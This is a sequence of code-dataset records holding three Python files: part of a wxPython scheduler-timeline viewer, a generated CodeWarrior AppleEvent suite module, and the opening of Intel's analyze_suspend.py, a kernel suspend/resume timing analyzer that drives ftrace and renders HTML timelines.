self.screen_height)) # scrollable container self.scroll = wx.ScrolledWindow(self.panel) self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale) self.scroll.EnableScrolling(True, True) self.scroll.SetFocus() # scrollable drawing area self.scroll_panel = wx.Panel(self.scroll, size=(self.screen_width - 15, self.screen_height / 2)) self.scroll_panel.Bind(wx.EVT_PAINT, self.on_paint) self.scroll_panel.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll_panel.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Bind(wx.EVT_PAINT, self.on_paint) self.scroll.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Fit() self.Fit() self.scroll_panel.SetDimensions(-1, -1, self.width_virtual, self.height_virtual, wx.SIZE_USE_EXISTING) self.txt = None self.Show(True) def us_to_px(self, val): return val / (10 ** 3) * self.zoom def px_to_us(self, val): return (val / self.zoom) * (10 ** 3) def scroll_start(self): (x, y) = self.scroll.GetViewStart() return (x * self.scroll_scale, y * self.scroll_scale) def scroll_start_us(self): (x, y) = self.scroll_start() return self.px_to_us(x) def paint_rectangle_zone(self, nr, color, top_color, start, end): offset_px = self.us_to_px(start - self.ts_start) width_px = self.us_to_px(end - self.ts_start) offset_py = RootFrame.Y_OFFSET + (nr * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) width_py = RootFrame.RECT_HEIGHT dc = self.dc if top_color is not None: (r, g, b) = top_color top_color = wx.Colour(r, g, b) brush = wx.Brush(top_color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, RootFrame.EVENT_MARKING_WIDTH) width_py -= RootFrame.EVENT_MARKING_WIDTH offset_py += RootFrame.EVENT_MARKING_WIDTH (r ,g, b) = color color = wx.Colour(r, g, b) brush = wx.Brush(color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, width_py) def update_rectangles(self, dc, start, end): start += self.ts_start end += self.ts_start self.sched_tracer.fill_zone(start, end) def on_paint(self, event): dc = wx.PaintDC(self.scroll_panel) self.dc = dc width = min(self.width_virtual, self.screen_width) (x, y) = self.scroll_start() start = self.px_to_us(x) end = self.px_to_us(x + width) self.update_rectangles(dc, start, end) def rect_from_ypixel(self, y): y -= RootFrame.Y_OFFSET rect = y / (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE) height = y % (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE) if rect < 0 or rect > self.nr_rects - 1 or height > RootFrame.RECT_HEIGHT: return -1 return rect def update_summary(self, txt): if self.txt: self.txt.Destroy() self.txt = wx.StaticText(self.panel, -1, txt, (0, (self.screen_height / 2) + 50)) def on_mouse_down(self, event): (x, y) = event.GetPositionTuple() rect = self.rect_from_ypixel(y) if rect == -1: return t = self.px_to_us(x) + self.ts_start self.sched_tracer.mouse_down(rect, t) def update_width_virtual(self): self.width_virtual = self.us_to_px(self.ts_end - self.ts_start) def __zoom(self, x): self.update_width_virtual() (xpos, ypos) = self.scroll.GetViewStart() xpos = self.us_to_px(x) / self.scroll_scale self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale, xpos, ypos) self.Refresh() def zoom_in(self): x = self.scroll_start_us() self.zoom *= 2 self.__zoom(x) def zoom_out(self): x = self.scroll_start_us() self.zoom /= 2 self.__zoom(x) def on_key_press(self, event): key = event.GetRawKeyCode() if key == ord("+"): self.zoom_in() return if key == ord("-"): self.zoom_out() return key = event.GetKeyCode() (x, y) = self.scroll.GetViewStart() if key == wx.WXK_RIGHT: self.scroll.Scroll(x + 1, y) elif key == wx.WXK_LEFT: self.scroll.Scroll(x - 1, y) elif key == wx.WXK_DOWN: self.scroll.Scroll(x, y + 1) elif key == wx.WXK_UP: self.scroll.Scroll(x, y - 1)
gpl-2.0
MalloyPower/parsing-python
front-end/testsuite-python-lib/Python-2.7.2/Lib/plat-mac/lib-scriptpackages/CodeWarrior/Required.py
81
1664
"""Suite Required: Terms that every application should support Level 1, version 1 Generated from /Volumes/Sap/Applications (Mac OS 9)/Metrowerks CodeWarrior 7.0/Metrowerks CodeWarrior/CodeWarrior IDE 4.2.5 AETE/AEUT resource version 1/0, language 0, script 0 """ import aetools import MacOS _code = 'reqd' from StdSuites.Required_Suite import * class Required_Events(Required_Suite_Events): _argmap_open = { 'converting' : 'Conv', } def open(self, _object, _attributes={}, **_arguments): """open: Open the specified object(s) Required argument: list of objects to open Keyword argument converting: Whether to convert project to latest version (yes/no; default is ask). Keyword argument _attributes: AppleEvent attribute dictionary """ _code = 'aevt' _subcode = 'odoc' aetools.keysubst(_arguments, self._argmap_open) _arguments['----'] = _object aetools.enumsubst(_arguments, 'Conv', _Enum_Conv) _reply, _arguments, _attributes = self.send(_code, _subcode, _arguments, _attributes) if _arguments.get('errn', 0): raise aetools.Error, aetools.decodeerror(_arguments) # XXXX Optionally decode result if _arguments.has_key('----'): return _arguments['----'] _Enum_Conv = { 'yes' : 'yes ', # Convert the project if necessary on open 'no' : 'no ', # Do not convert the project if needed on open } # # Indices of types declared in this module # _classdeclarations = { } _propdeclarations = { } _compdeclarations = { } _enumdeclarations = { 'Conv' : _Enum_Conv, }
mit
varigit/VAR-SOM-AM33-Kernel-3-14
scripts/analyze_suspend.py
445
49020
#!/usr/bin/python # # Tool for analyzing suspend/resume timing # Copyright (c) 2013, Intel Corporation. # # This program is free software; you can redistribute it and/or modify it # under the terms and conditions of the GNU General Public License, # version 2, as published by the Free Software Foundation. # # This program is distributed in the hope it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for # more details. # # You should have received a copy of the GNU General Public License along with # this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. # # Authors: # Todd Brandt <[email protected]> # # Description: # This tool is designed to assist kernel and OS developers in optimizing # their linux stack's suspend/resume time. Using a kernel image built # with a few extra options enabled, the tool will execute a suspend and # will capture dmesg and ftrace data until resume is complete. This data # is transformed into a device timeline and a callgraph to give a quick # and detailed view of which devices and callbacks are taking the most # time in suspend/resume. The output is a single html file which can be # viewed in firefox or chrome. # # The following kernel build options are required: # CONFIG_PM_DEBUG=y # CONFIG_PM_SLEEP_DEBUG=y # CONFIG_FTRACE=y # CONFIG_FUNCTION_TRACER=y # CONFIG_FUNCTION_GRAPH_TRACER=y # # The following additional kernel parameters are required: # (e.g. in file /etc/default/grub) # GRUB_CMDLINE_LINUX_DEFAULT="... initcall_debug log_buf_len=16M ..." # import sys import time import os import string import re import array import platform import datetime import struct # -- classes -- class SystemValues: testdir = "." tpath = "/sys/kernel/debug/tracing/" mempath = "/dev/mem" powerfile = "/sys/power/state" suspendmode = "mem" prefix = "test" teststamp = "" dmesgfile = "" ftracefile = "" htmlfile = "" rtcwake = False def setOutputFile(self): if((self.htmlfile == "") and (self.dmesgfile != "")): m = re.match(r"(?P<name>.*)_dmesg\.txt$", self.dmesgfile) if(m): self.htmlfile = m.group("name")+".html" if((self.htmlfile == "") and (self.ftracefile != "")): m = re.match(r"(?P<name>.*)_ftrace\.txt$", self.ftracefile) if(m): self.htmlfile = m.group("name")+".html" if(self.htmlfile == ""): self.htmlfile = "output.html" def initTestOutput(self): hostname = platform.node() if(hostname != ""): self.prefix = hostname v = os.popen("cat /proc/version").read().strip() kver = string.split(v)[2] self.testdir = os.popen("date \"+suspend-%m%d%y-%H%M%S\"").read().strip() self.teststamp = "# "+self.testdir+" "+self.prefix+" "+self.suspendmode+" "+kver self.dmesgfile = self.testdir+"/"+self.prefix+"_"+self.suspendmode+"_dmesg.txt" self.ftracefile = self.testdir+"/"+self.prefix+"_"+self.suspendmode+"_ftrace.txt" self.htmlfile = self.testdir+"/"+self.prefix+"_"+self.suspendmode+".html" os.mkdir(self.testdir) class Data: altdevname = dict() usedmesg = False useftrace = False notestrun = False verbose = False phases = [] dmesg = {} # root data structure start = 0.0 end = 0.0 stamp = {'time': "", 'host': "", 'mode': ""} id = 0 tSuspended = 0.0 fwValid = False fwSuspend = 0 fwResume = 0 def initialize(self): self.dmesg = { # dmesg log data 'suspend_general': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "#CCFFCC", 'order': 0}, 'suspend_early': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "green", 'order': 1}, 'suspend_noirq': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "#00FFFF", 'order': 2}, 'suspend_cpu': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "blue", 'order': 3}, 'resume_cpu': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "red", 'order': 4}, 'resume_noirq': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "orange", 'order': 5}, 'resume_early': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "yellow", 'order': 6}, 'resume_general': {'list': dict(), 'start': -1.0, 'end': -1.0, 'row': 0, 'color': "#FFFFCC", 'order': 7} } self.phases = self.sortedPhases() def normalizeTime(self): tSus = tRes = self.tSuspended if self.fwValid: tSus -= -self.fwSuspend / 1000000000.0 tRes -= self.fwResume / 1000000000.0 self.tSuspended = 0.0 self.start -= tSus self.end -= tRes for phase in self.phases: zero = tRes if "suspend" in phase: zero = tSus p = self.dmesg[phase] p['start'] -= zero p['end'] -= zero list = p['list'] for name in list: d = list[name] d['start'] -= zero d['end'] -= zero if('ftrace' in d): cg = d['ftrace'] cg.start -= zero cg.end -= zero for line in cg.list: line.time -= zero if self.fwValid: fws = -self.fwSuspend / 1000000000.0 fwr = self.fwResume / 1000000000.0 list = dict() self.id += 1 devid = "dc%d" % self.id list["firmware-suspend"] = \ {'start': fws, 'end': 0, 'pid': 0, 'par': "", 'length': -fws, 'row': 0, 'id': devid }; self.id += 1 devid = "dc%d" % self.id list["firmware-resume"] = \ {'start': 0, 'end': fwr, 'pid': 0, 'par': "", 'length': fwr, 'row': 0, 'id': devid }; self.dmesg['BIOS'] = \ {'list': list, 'start': fws, 'end': fwr, 'row': 0, 'color': "purple", 'order': 4} self.dmesg['resume_cpu']['order'] += 1 self.dmesg['resume_noirq']['order'] += 1 self.dmesg['resume_early']['order'] += 1 self.dmesg['resume_general']['order'] += 1 self.phases = self.sortedPhases() def vprint(self, msg): if(self.verbose): print(msg) def dmesgSortVal(self, phase): return self.dmesg[phase]['order'] def sortedPhases(self): return sorted(self.dmesg, key=self.dmesgSortVal) def sortedDevices(self, phase): list = self.dmesg[phase]['list'] slist = [] tmp = dict() for devname in list: dev = list[devname] tmp[dev['start']] = devname for t in sorted(tmp): slist.append(tmp[t]) return slist def fixupInitcalls(self, phase, end): # if any calls never returned, clip them at system resume end phaselist = self.dmesg[phase]['list'] for devname in phaselist: dev = phaselist[devname] if(dev['end'] < 0): dev['end'] = end self.vprint("%s (%s): callback didn't return" % (devname, phase)) def fixupInitcallsThatDidntReturn(self): # if any calls never returned, clip them at system resume end for phase in self.phases: self.fixupInitcalls(phase, self.dmesg['resume_general']['end']) if(phase == "resume_general"): break def newAction(self, phase, name, pid, parent, start, end): self.id += 1 devid = "dc%d" % self.id list = self.dmesg[phase]['list'] length = -1.0 if(start >= 0 and end >= 0): length = end - start list[name] = {'start': start, 'end': end, 'pid': pid, 'par': parent, 'length': length, 'row': 0, 'id': devid } def deviceIDs(self, devlist, phase): idlist = [] for p in self.phases: if(p[0] != phase[0]): continue list = data.dmesg[p]['list'] for devname in list: if devname in devlist: idlist.append(list[devname]['id']) return idlist def deviceParentID(self, devname, phase): pdev = "" pdevid = "" for p in self.phases: if(p[0] != phase[0]): continue list = data.dmesg[p]['list'] if devname in list: pdev = list[devname]['par'] for p in self.phases: if(p[0] != phase[0]): continue list = data.dmesg[p]['list'] if pdev in list: return list[pdev]['id'] return pdev def deviceChildrenIDs(self, devname, phase): devlist = [] for p in self.phases: if(p[0] != phase[0]): continue list = data.dmesg[p]['list'] for child in list: if(list[child]['par'] == devname): devlist.append(child) return self.deviceIDs(devlist, phase) class FTraceLine: time = 0.0 length = 0.0 fcall = False freturn = False fevent = False depth = 0 name = "" def __init__(self, t, m, d): self.time = float(t) # check to see if this is a trace event em = re.match(r"^ *\/\* *(?P<msg>.*) \*\/ *$", m) if(em): self.name = em.group("msg") self.fevent = True return # convert the duration to seconds if(d): self.length = float(d)/1000000 # the indentation determines the depth match = re.match(r"^(?P<d> *)(?P<o>.*)$", m) if(not match): return self.depth = self.getDepth(match.group('d')) m = match.group('o') # function return if(m[0] == '}'): self.freturn = True if(len(m) > 1): # includes comment with function name match = re.match(r"^} *\/\* *(?P<n>.*) *\*\/$", m) if(match): self.name = match.group('n') # function call else: self.fcall = True # function call with children if(m[-1] == '{'): match = re.match(r"^(?P<n>.*) *\(.*", m) if(match): self.name = match.group('n') # function call with no children (leaf) elif(m[-1] == ';'): self.freturn = True match = re.match(r"^(?P<n>.*) *\(.*", m) if(match): self.name = match.group('n') # something else (possibly a trace marker) else: self.name = m def getDepth(self, str): return len(str)/2 class FTraceCallGraph: start = -1.0 end = -1.0 list = [] invalid = False depth = 0 def __init__(self): self.start = -1.0 self.end = -1.0 self.list = [] self.depth = 0 def setDepth(self, line): if(line.fcall and not line.freturn): line.depth = self.depth self.depth += 1 elif(line.freturn and not line.fcall): self.depth -= 1 line.depth = self.depth else: line.depth = self.depth def addLine(self, line, match): if(not self.invalid): self.setDepth(line) if(line.depth == 0 and line.freturn): self.end = line.time self.list.append(line) return True if(self.invalid): return False if(len(self.list) >= 1000000 or self.depth < 0): first = self.list[0] self.list = [] self.list.append(first) self.invalid = True id = "task %s cpu %s" % (match.group("pid"), match.group("cpu")) window = "(%f - %f)" % (self.start, line.time) data.vprint("Too much data for "+id+" "+window+", ignoring this callback") return False self.list.append(line) if(self.start < 0): self.start = line.time return False def sanityCheck(self): stack = dict() cnt = 0 for l in self.list: if(l.fcall and not l.freturn): stack[l.depth] = l cnt += 1 elif(l.freturn and not l.fcall): if(not stack[l.depth]): return False stack[l.depth].length = l.length stack[l.depth] = 0 l.length = 0 cnt -= 1 if(cnt == 0): return True return False def debugPrint(self, filename): if(filename == "stdout"): print("[%f - %f]") % (self.start, self.end) for l in self.list: if(l.freturn and l.fcall): print("%f (%02d): %s(); (%.3f us)" % (l.time, l.depth, l.name, l.length*1000000)) elif(l.freturn): print("%f (%02d): %s} (%.3f us)" % (l.time, l.depth, l.name, l.length*1000000)) else: print("%f (%02d): %s() { (%.3f us)" % (l.time, l.depth, l.name, l.length*1000000)) print(" ") else: fp = open(filename, 'w') print(filename) for l in self.list: if(l.freturn and l.fcall): fp.write("%f (%02d): %s(); (%.3f us)\n" % (l.time, l.depth, l.name, l.length*1000000)) elif(l.freturn): fp.write("%f (%02d): %s} (%.3f us)\n" % (l.time, l.depth, l.name, l.length*1000000)) else: fp.write("%f (%02d): %s() { (%.3f us)\n" % (l.time, l.depth, l.name, l.length*1000000)) fp.close() class Timeline: html = {} scaleH = 0.0 # height of the timescale row as a percent of the timeline height rowH = 0.0 # height of each row in percent of the timeline height row_height_pixels = 30 maxrows = 0 height = 0 def __init__(self): self.html = { 'timeline': "", 'legend': "", 'scale': "" } def setRows(self, rows): self.maxrows = int(rows) self.scaleH = 100.0/float(self.maxrows) self.height = self.maxrows*self.row_height_pixels r = float(self.maxrows - 1) if(r < 1.0): r = 1.0 self.rowH = (100.0 - self.scaleH)/r # -- global objects -- sysvals = SystemValues() data = Data() # -- functions -- # Function: initFtrace # Description: # Configure ftrace to capture a function trace during suspend/resume def initFtrace(): global sysvals print("INITIALIZING FTRACE...") # turn trace off os.system("echo 0 > "+sysvals.tpath+"tracing_on") # set the trace clock to global os.system("echo global > "+sysvals.tpath+"trace_clock") # set trace buffer to a huge value os.system("echo nop > "+sysvals.tpath+"current_tracer") os.system("echo 100000 > "+sysvals.tpath+"buffer_size_kb") # clear the trace buffer os.system("echo \"\" > "+sysvals.tpath+"trace") # set trace type os.system("echo function_graph > "+sysvals.tpath+"current_tracer") os.system("echo \"\" > "+sysvals.tpath+"set_ftrace_filter") # set trace format options os.system("echo funcgraph-abstime > "+sysvals.tpath+"trace_options") os.system("echo funcgraph-proc > "+sysvals.tpath+"trace_options") # focus only on device suspend and resume os.system("cat "+sysvals.tpath+"available_filter_functions | grep dpm_run_callback > "+sysvals.tpath+"set_graph_function") # Function: verifyFtrace # Description: # Check that ftrace is working on the system def verifyFtrace(): global sysvals files = ["available_filter_functions", "buffer_size_kb", "current_tracer", "set_ftrace_filter", "trace", "trace_marker"] for f in files: if(os.path.exists(sysvals.tpath+f) == False): return False return True def parseStamp(line): global data, sysvals stampfmt = r"# suspend-(?P<m>[0-9]{2})(?P<d>[0-9]{2})(?P<y>[0-9]{2})-"+\ "(?P<H>[0-9]{2})(?P<M>[0-9]{2})(?P<S>[0-9]{2})"+\ " (?P<host>.*) (?P<mode>.*) (?P<kernel>.*)$" m = re.match(stampfmt, line) if(m): dt = datetime.datetime(int(m.group("y"))+2000, int(m.group("m")), int(m.group("d")), int(m.group("H")), int(m.group("M")), int(m.group("S"))) data.stamp['time'] = dt.strftime("%B %d %Y, %I:%M:%S %p") data.stamp['host'] = m.group("host") data.stamp['mode'] = m.group("mode") data.stamp['kernel'] = m.group("kernel") sysvals.suspendmode = data.stamp['mode'] # Function: analyzeTraceLog # Description: # Analyse an ftrace log output file generated from this app during # the execution phase. Create an "ftrace" structure in memory for # subsequent formatting in the html output file def analyzeTraceLog(): global sysvals, data # the ftrace data is tied to the dmesg data if(not data.usedmesg): return # read through the ftrace and parse the data data.vprint("Analyzing the ftrace data...") ftrace_line_fmt = r"^ *(?P<time>[0-9\.]*) *\| *(?P<cpu>[0-9]*)\)"+\ " *(?P<proc>.*)-(?P<pid>[0-9]*) *\|"+\ "[ +!]*(?P<dur>[0-9\.]*) .*\| (?P<msg>.*)" ftemp = dict() inthepipe = False tf = open(sysvals.ftracefile, 'r') count = 0 for line in tf: count = count + 1 # grab the time stamp if it's valid if(count == 1): parseStamp(line) continue # parse only valid lines m = re.match(ftrace_line_fmt, line) if(not m): continue m_time = m.group("time") m_pid = m.group("pid") m_msg = m.group("msg") m_dur = m.group("dur") if(m_time and m_pid and m_msg): t = FTraceLine(m_time, m_msg, m_dur) pid = int(m_pid) else: continue # the line should be a call, return, or event if(not t.fcall and not t.freturn and not t.fevent): continue # only parse the ftrace data during suspend/resume if(not inthepipe): # look for the suspend start marker if(t.fevent): if(t.name == "SUSPEND START"): data.vprint("SUSPEND START %f %s:%d" % (t.time, sysvals.ftracefile, count)) inthepipe = True continue else: # look for the resume end marker if(t.fevent): if(t.name == "RESUME COMPLETE"): data.vprint("RESUME COMPLETE %f %s:%d" % (t.time, sysvals.ftracefile, count)) inthepipe = False break continue # create a callgraph object for the data if(pid not in ftemp): ftemp[pid] = FTraceCallGraph() # when the call is finished, see which device matches it if(ftemp[pid].addLine(t, m)): if(not ftemp[pid].sanityCheck()): id = "task %s cpu %s" % (pid, m.group("cpu")) data.vprint("Sanity check failed for "+id+", ignoring this callback") continue callstart = ftemp[pid].start callend = ftemp[pid].end for p in data.phases: if(data.dmesg[p]['start'] <= callstart and callstart <= data.dmesg[p]['end']): list = data.dmesg[p]['list'] for devname in list: dev = list[devname] if(pid == dev['pid'] and callstart <= dev['start'] and callend >= dev['end']): data.vprint("%15s [%f - %f] %s(%d)" % (p, callstart, callend, devname, pid)) dev['ftrace'] = ftemp[pid] break ftemp[pid] = FTraceCallGraph() tf.close() # Function: sortKernelLog # Description: # The dmesg output log sometimes comes with with lines that have # timestamps out of order. This could cause issues since a call # could accidentally end up in the wrong phase def sortKernelLog(): global sysvals, data lf = open(sysvals.dmesgfile, 'r') dmesglist = [] count = 0 for line in lf: line = line.replace("\r\n", "") if(count == 0): parseStamp(line) elif(count == 1): m = re.match(r"# fwsuspend (?P<s>[0-9]*) fwresume (?P<r>[0-9]*)$", line) if(m): data.fwSuspend = int(m.group("s")) data.fwResume = int(m.group("r")) if(data.fwSuspend > 0 or data.fwResume > 0): data.fwValid = True if(re.match(r".*(\[ *)(?P<ktime>[0-9\.]*)(\]) (?P<msg>.*)", line)): dmesglist.append(line) count += 1 lf.close() last = "" # fix lines with the same time stamp and function with the call and return swapped for line in dmesglist: mc = re.match(r".*(\[ *)(?P<t>[0-9\.]*)(\]) calling (?P<f>.*)\+ @ .*, parent: .*", line) mr = re.match(r".*(\[ *)(?P<t>[0-9\.]*)(\]) call (?P<f>.*)\+ returned .* after (?P<dt>.*) usecs", last) if(mc and mr and (mc.group("t") == mr.group("t")) and (mc.group("f") == mr.group("f"))): i = dmesglist.index(last) j = dmesglist.index(line) dmesglist[i] = line dmesglist[j] = last last = line return dmesglist # Function: analyzeKernelLog # Description: # Analyse a dmesg log output file generated from this app during # the execution phase. Create a set of device structures in memory # for subsequent formatting in the html output file def analyzeKernelLog(): global sysvals, data print("PROCESSING DATA") data.vprint("Analyzing the dmesg data...") if(os.path.exists(sysvals.dmesgfile) == False): print("ERROR: %s doesn't exist") % sysvals.dmesgfile return False lf = sortKernelLog() phase = "suspend_runtime" dm = { 'suspend_general': r"PM: Syncing filesystems.*", 'suspend_early': r"PM: suspend of devices complete after.*", 'suspend_noirq': r"PM: late suspend of devices complete after.*", 'suspend_cpu': r"PM: noirq suspend of devices complete after.*", 'resume_cpu': r"ACPI: Low-level resume complete.*", 'resume_noirq': r"ACPI: Waking up from system sleep state.*", 'resume_early': r"PM: noirq resume of devices complete after.*", 'resume_general': r"PM: early resume of devices complete after.*", 'resume_complete': r".*Restarting tasks \.\.\..*", } if(sysvals.suspendmode == "standby"): dm['resume_cpu'] = r"PM: Restoring platform NVS memory" elif(sysvals.suspendmode == "disk"): dm['suspend_early'] = r"PM: freeze of devices complete after.*" dm['suspend_noirq'] = r"PM: late freeze of devices complete after.*" dm['suspend_cpu'] = r"PM: noirq freeze of devices complete after.*" dm['resume_cpu'] = r"PM: Restoring platform NVS memory" dm['resume_early'] = r"PM: noirq restore of devices complete after.*" dm['resume_general'] = r"PM: early restore of devices complete after.*" action_start = 0.0 for line in lf: # -- preprocessing -- # parse each dmesg line into the time and message m = re.match(r".*(\[ *)(?P<ktime>[0-9\.]*)(\]) (?P<msg>.*)", line) if(m): ktime = float(m.group("ktime")) msg = m.group("msg") else: print line continue # -- phase changes -- # suspend_general start if(re.match(dm['suspend_general'], msg)): phase = "suspend_general" data.dmesg[phase]['start'] = ktime data.start = ktime # action start: syncing filesystems action_start = ktime # suspend_early start elif(re.match(dm['suspend_early'], msg)): data.dmesg["suspend_general"]['end'] = ktime phase = "suspend_early" data.dmesg[phase]['start'] = ktime # suspend_noirq start elif(re.match(dm['suspend_noirq'], msg)): data.dmesg["suspend_early"]['end'] = ktime phase = "suspend_noirq" data.dmesg[phase]['start'] = ktime # suspend_cpu start elif(re.match(dm['suspend_cpu'], msg)): data.dmesg["suspend_noirq"]['end'] = ktime phase = "suspend_cpu" data.dmesg[phase]['start'] = ktime # resume_cpu start elif(re.match(dm['resume_cpu'], msg)): data.tSuspended = ktime data.dmesg["suspend_cpu"]['end'] = ktime phase = "resume_cpu" data.dmesg[phase]['start'] = ktime # resume_noirq start elif(re.match(dm['resume_noirq'], msg)): data.dmesg["resume_cpu"]['end'] = ktime phase = "resume_noirq" data.dmesg[phase]['start'] = ktime # action end: ACPI resume data.newAction("resume_cpu", "ACPI", -1, "", action_start, ktime) # resume_early start elif(re.match(dm['resume_early'], msg)): data.dmesg["resume_noirq"]['end'] = ktime phase = "resume_early" data.dmesg[phase]['start'] = ktime # resume_general start elif(re.match(dm['resume_general'], msg)): data.dmesg["resume_early"]['end'] = ktime phase = "resume_general" data.dmesg[phase]['start'] = ktime # resume complete start elif(re.match(dm['resume_complete'], msg)): data.dmesg["resume_general"]['end'] = ktime data.end = ktime phase = "resume_runtime" break # -- device callbacks -- if(phase in data.phases): # device init call if(re.match(r"calling (?P<f>.*)\+ @ .*, parent: .*", msg)): sm = re.match(r"calling (?P<f>.*)\+ @ (?P<n>.*), parent: (?P<p>.*)", msg); f = sm.group("f") n = sm.group("n") p = sm.group("p") if(f and n and p): data.newAction(phase, f, int(n), p, ktime, -1) # device init return elif(re.match(r"call (?P<f>.*)\+ returned .* after (?P<t>.*) usecs", msg)): sm = re.match(r"call (?P<f>.*)\+ returned .* after (?P<t>.*) usecs(?P<a>.*)", msg); f = sm.group("f") t = sm.group("t") list = data.dmesg[phase]['list'] if(f in list): dev = list[f] dev['length'] = int(t) dev['end'] = ktime data.vprint("%15s [%f - %f] %s(%d) %s" % (phase, dev['start'], dev['end'], f, dev['pid'], dev['par'])) # -- phase specific actions -- if(phase == "suspend_general"): if(re.match(r"PM: Preparing system for mem sleep.*", msg)): data.newAction(phase, "filesystem-sync", -1, "", action_start, ktime) elif(re.match(r"Freezing user space processes .*", msg)): action_start = ktime elif(re.match(r"Freezing remaining freezable tasks.*", msg)): data.newAction(phase, "freeze-user-processes", -1, "", action_start, ktime) action_start = ktime elif(re.match(r"PM: Entering (?P<mode>[a-z,A-Z]*) sleep.*", msg)): data.newAction(phase, "freeze-tasks", -1, "", action_start, ktime) elif(phase == "suspend_cpu"): m = re.match(r"smpboot: CPU (?P<cpu>[0-9]*) is now offline", msg) if(m): cpu = "CPU"+m.group("cpu") data.newAction(phase, cpu, -1, "", action_start, ktime) action_start = ktime elif(re.match(r"ACPI: Preparing to enter system sleep state.*", msg)): action_start = ktime elif(re.match(r"Disabling non-boot CPUs .*", msg)): data.newAction(phase, "ACPI", -1, "", action_start, ktime) action_start = ktime elif(phase == "resume_cpu"): m = re.match(r"CPU(?P<cpu>[0-9]*) is up", msg) if(m): cpu = "CPU"+m.group("cpu") data.newAction(phase, cpu, -1, "", action_start, ktime) action_start = ktime elif(re.match(r"Enabling non-boot CPUs .*", msg)): action_start = ktime # fill in any missing phases lp = "suspend_general" for p in data.phases: if(p == "suspend_general"): continue if(data.dmesg[p]['start'] < 0): data.dmesg[p]['start'] = data.dmesg[lp]['end'] if(p == "resume_cpu"): data.tSuspended = data.dmesg[lp]['end'] if(data.dmesg[p]['end'] < 0): data.dmesg[p]['end'] = data.dmesg[p]['start'] lp = p data.fixupInitcallsThatDidntReturn() return True # Function: setTimelineRows # Description: # Organize the device or thread lists into the smallest # number of rows possible, with no entry overlapping # Arguments: # list: the list to sort (dmesg or ftrace) # sortedkeys: sorted key list to use def setTimelineRows(list, sortedkeys): global data # clear all rows and set them to undefined remaining = len(list) rowdata = dict() row = 0 for item in list: list[item]['row'] = -1 # try to pack each row with as many ranges as possible while(remaining > 0): if(row not in rowdata): rowdata[row] = [] for item in sortedkeys: if(list[item]['row'] < 0): s = list[item]['start'] e = list[item]['end'] valid = True for ritem in rowdata[row]: rs = ritem['start'] re = ritem['end'] if(not (((s <= rs) and (e <= rs)) or ((s >= re) and (e >= re)))): valid = False break if(valid): rowdata[row].append(list[item]) list[item]['row'] = row remaining -= 1 row += 1 return row # Function: createTimeScale # Description: # Create timescale lines for the dmesg and ftrace timelines # Arguments: # t0: start time (suspend begin) # tMax: end time (resume end) # tSuspend: time when suspend occurs def createTimeScale(t0, tMax, tSuspended): global data timescale = "<div class=\"t\" style=\"right:{0}%\">{1}</div>\n" output = '<div id="timescale">\n' # set scale for timeline tTotal = tMax - t0 tS = 0.1 if(tTotal <= 0): return output if(tTotal > 4): tS = 1 if(tSuspended < 0): for i in range(int(tTotal/tS)+1): pos = "%0.3f" % (100 - ((float(i)*tS*100)/tTotal)) if(i > 0): val = "%0.f" % (float(i)*tS*1000) else: val = "" output += timescale.format(pos, val) else: tSuspend = tSuspended - t0 divTotal = int(tTotal/tS) + 1 divSuspend = int(tSuspend/tS) s0 = (tSuspend - tS*divSuspend)*100/tTotal for i in range(divTotal): pos = "%0.3f" % (100 - ((float(i)*tS*100)/tTotal) - s0) if((i == 0) and (s0 < 3)): val = "" elif(i == divSuspend): val = "S/R" else: val = "%0.f" % (float(i-divSuspend)*tS*1000) output += timescale.format(pos, val) output += '</div>\n' return output # Function: createHTML # Description: # Create the output html file. def createHTML(): global sysvals, data data.normalizeTime() # html function templates headline_stamp = '<div class="stamp">{0} {1} {2} {3}</div>\n' html_zoombox = '<center><button id="zoomin">ZOOM IN</button><button id="zoomout">ZOOM OUT</button><button id="zoomdef">ZOOM 1:1</button></center>\n<div id="dmesgzoombox" class="zoombox">\n' html_timeline = '<div id="{0}" class="timeline" style="height:{1}px">\n' html_device = '<div id="{0}" title="{1}" class="thread" style="left:{2}%;top:{3}%;height:{4}%;width:{5}%;">{6}</div>\n' html_phase = '<div class="phase" style="left:{0}%;width:{1}%;top:{2}%;height:{3}%;background-color:{4}">{5}</div>\n' html_legend = '<div class="square" style="left:{0}%;background-color:{1}">&nbsp;{2}</div>\n' html_timetotal = '<table class="time1">\n<tr>'\ '<td class="gray">{2} Suspend Time: <b>{0} ms</b></td>'\ '<td class="gray">{2} Resume Time: <b>{1} ms</b></td>'\ '</tr>\n</table>\n' html_timegroups = '<table class="time2">\n<tr>'\ '<td class="green">Kernel Suspend: {0} ms</td>'\ '<td class="purple">Firmware Suspend: {1} ms</td>'\ '<td class="purple">Firmware Resume: {2} ms</td>'\ '<td class="yellow">Kernel Resume: {3} ms</td>'\ '</tr>\n</table>\n' # device timeline (dmesg) if(data.usedmesg): data.vprint("Creating Device Timeline...") devtl = Timeline() # Generate the header for this timeline t0 = data.start tMax = data.end tTotal = tMax - t0 